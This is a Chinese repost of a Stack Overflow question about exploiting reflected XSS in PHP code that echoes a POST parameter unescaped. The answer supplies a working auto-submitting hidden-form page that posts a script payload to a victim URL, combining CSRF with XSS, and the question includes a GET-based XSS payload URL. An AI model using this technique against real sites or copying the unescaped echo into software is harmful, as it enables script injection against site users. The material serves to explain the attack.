gpt4 book ai didi

security - 如果参数 echo'd 从 GET 更改为 POST,可以使用哪些方法来利用 XSS?

转载 作者:行者123 更新时间:2023-12-02 19:21:47 25 4
gpt4 key购买 nike

检查这个示例。它是用 PHP 编写的,但如果您不懂 PHP,您应该能够了解正在发生的事情。

echo 'You searched for "' . $_GET['q'] . '"'; 

现在,显然,这是一个坏主意,如果我要求......

http://www.example.com/?q=<script type="text/javascript">alert('xss');</script>

好的,现在我将 GET 更改为 POST...

echo 'You searched for "' . $_POST['q'] . '"';

现在 URL 中的查询字符串将不起作用。

我知道由于相同的域策略,我无法使用 AJAX 在那里发帖。如果我可以在域上运行 JavaScript,那么它已经存在安全问题。

我想到的一件事是遇到一个容易受到 XSS 攻击的网站,并添加一个表单,该表单可以发布到在加载时提交的目标网站(或者,当然,将人们重定向到您的执行此操作的网站)。这似乎进入了 CSRF 领域。

那么,利用第二个示例(使用 POST)的方法是什么?

谢谢

最佳答案

这是针对您易受攻击的代码的 xss 攻击。正如您所提到的,这是与 POST based CSRF 相同的攻击模式。 。在本例中,我将 POST 请求构建为表单,然后在表单的最底部调用 .submit()。为了调用submit,表单中必须有一个submit类型。 post 请求将立即执行,页面将重定向,最好在不可见的 iframe 中运行基于 post 的 csrf 漏洞利用。

<html>
<form id=1 method="post" action="http://victim/vuln.php">
<input type=hidden name="q" value="<script>alert(/xss/)</script>">
<input type="submit">
</form>
</html>
<script>
document.getElementById(1).submit();//remote root command execution!
</script>

我还建议阅读有关 sammy worm 的内容并随时询问有关其他的任何问题 exploits I have written

关于security - 如果参数 echo'd 从 GET 更改为 POST,可以使用哪些方法来利用 XSS?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/4294531/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com